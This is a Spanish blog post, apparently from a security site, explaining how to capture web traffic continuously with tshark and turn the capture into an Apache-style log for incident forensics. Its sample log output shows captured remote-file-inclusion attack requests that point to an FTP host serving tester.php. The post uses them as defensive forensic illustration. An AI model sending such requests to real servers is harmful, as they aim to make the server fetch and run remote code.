Registro forense de red con tshark

En ocasiones puede ocurrir que, según la topología de la red y la estructura de la organización en la que nos encontremos, no tengamos acceso al registro de los servidores web de una manera fácil y rápida pero sí podamos capturar el tráfico de red que va dirigido a ellos. Esto puede dificultar una rápida actuación ante un incidente de seguridad donde la respuesta debe ser lo más ágil posible con el objeto de minimizar el daño que se haya podido producir.

Si nos encontráramos en una situación así vamos a ver cómo podemos hacer uso de tshark para capturar el tráfico y dejar un registro de red para tareas forenses en caso de incidente. De esta manera podremos identificar los ataques ocurridos, con el añadido de poder analizar tanto la respuesta del servidor a dicho ataque como el posterior tráfico y así descubrir indicios de si el servidor ha sido comprometido.

Para capturar el tráfico de la forma más eficiente posible para este propósito tenemos dos opciones. La primera se conoce como Autostop. Consiste en capturar el tráfico y guardarlo en un fichero hasta que se produzca alguna de las situaciones definidas, a saber, cuando se captura un determinado volumen de tráfico o durante un tiempo. Una vez finalizado, la captura se detiene.

Para realizar este tipo de captura, se utilizaría la opción ‘-a‘, que acepta los parámetros duration, filesize y files. Un ejemplo podría ser como el siguiente:

$ tshark -nni eth0 -a filesize:200000 -a files:10 -w securityartwork.pcap

El comando anterior capturará el tráfico y lo guardará en ficheros de 200.000 kilobytes cada uno y cuando llegue a 10 se detendrá. Los ficheros tendrán el prefijo securityartwork con el número de fichero y un timestamp.

$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 28 17:15 securityartwork_00001_20130428152638.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 18:30 securityartwork_00002_20130428171511.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 19:23 securityartwork_00003_20130428183043.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 20:47 securityartwork_00004_20130428192349.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 22:01 securityartwork_00005_20130428204747.pcap
-rw------- 1 nbelda nbelda 196M Apr 28 23:03 securityartwork_00006_20130428220140.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 00:30 securityartwork_00007_20130428230336.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:57 securityartwork_00008_20130429003026.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:43 securityartwork_00009_20130429025734.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:54 securityartwork_00010_20130429054313.pcap

La otra opción consiste en crear un buffer circular con las características que definamos. Una vez se cumplan las condiciones, se borra el fichero más antiguo creando así ese buffer circular. La opción a utilizar es ‘-b‘ y los parámetros son los mismos que con Autostop. Un ejemplo muy utilizado es el siguiente:

$ nohup tshark -nni eth0 -b filesize:200000 -b files:10 -w saw_buffer.pcap &
$ ls -l
-rw------- 1 nbelda nbelda 196M Apr 29 01:47 saw_buffer_08554_20130429005947.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 02:39 saw_buffer_08555_20130429014710.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 03:21 saw_buffer_08556_20130429023931.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 04:16 saw_buffer_08557_20130429032138.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 05:27 saw_buffer_08558_20130429041611.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 06:42 saw_buffer_08559_20130429052745.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:21 saw_buffer_08560_20130429064246.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 07:48 saw_buffer_08561_20130429072111.pcap
-rw------- 1 nbelda nbelda 196M Apr 29 08:15 saw_buffer_08562_20130429074818.pcap
-rw------- 1 nbelda nbelda  37M Apr 29 08:17 saw_buffer_08563_20130429081535.pcap

Con esto tendremos un buffer de 2GB (aproximadamente) con el que tendremos una captura del tráfico para analizar en caso de detectar un incidente en alguno de nuestros servidores. El tamaño y número de los ficheros dependrá del tráfico de red, del espacio del que dispongamos en el disco duro y de la ventana temporal que queramos almacenar.

Para aclarar los últimos comandos, nohup y el ampersand (&) los utilizamos para dejarlo funcionando en background y no se detenga al cerrar sesión en el servidor; ya que la idea es dejarlo siempre en funcionamiento y analizarlo en caso de incidente.

Por último nos queda la visualización del tráfico. Tenemos una captura de tráfico con un tamaño importante, así que utilizar Wireshark queda descartado (si no, probar a abrir un archivo de 200MB) y necesitamos mostrar información útil. En esta ocasión vamos a ver cómo crear un archivo similar al log de Apache.

Explicaré un poco cómo se crea este fichero a partir del buffer creado. Primero creamos un bucle para leer cada uno de los ficheros, luego utilizamos los filtros de tshark para crear la salida. NOTA: la opción -T fields se utiliza para indicar qué campos queremos mostrar, indicándolos a continuación, en modo texto. Para más información, visitad el blog de Alfon Seguridad y Redes.

$ for file in $(ls -1 saw_buffer*.pcap) ; do tshark -nnr $file -T fields -e frame.time 
   -e ip.src -e ip.geoip.src_country -e http.request.method -e http.request.uri >> 
   saw_apache.log ; done

En caso de haber más de un servidor detrás podemos utilizar http.request.full_uri para identificar más fácilmente las peticiones a cada servidor.

$ tail saw_apache.log
Apr 26, 2013 07:02:09.921552000	187.79.225.59	Brazil
  GET /web/index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:09.930596000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.057270000	187.79.225.59	Brazil	
  GET /index.php?limitstart=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.062135000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:10.069157000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:10.074002000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:11.128034000	187.79.225.59	Brazil	
  GET /biblioteca/index.php?lvl=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:11.134320000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:13.773525000	187.79.225.59	Brazil	
  GET /index.php?option=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:13.785738000	193.XXX.XXX.XXX	Spain		
Apr 26, 2013 07:02:14.071371000	187.79.225.59	Brazil	
  GET /index.php?module=ftp://flsflm:1696271@ftp.maliciousserver.com/tester.php?
Apr 26, 2013 07:02:14.076231000	193.XXX.XXX.XXX	Spain

Personalmente, suelo utilizar la herramienta Highlighter de Mandiant, para analizar este tipo de ficheros en busca de peticiones maliciosas y demás comportamiento anómalo. Su uso es sencillo, aunque lo dejamos para otro posible post.

Trackbacks

  1. […] En ocasiones puede ocurrir que, según la topología de la red y la estructura de la organización en la que nos encontremos, no tengamos acceso al registro de los servidores web de una manera fácil y rápida pero sí podamos capturar el tráfico de red…  […]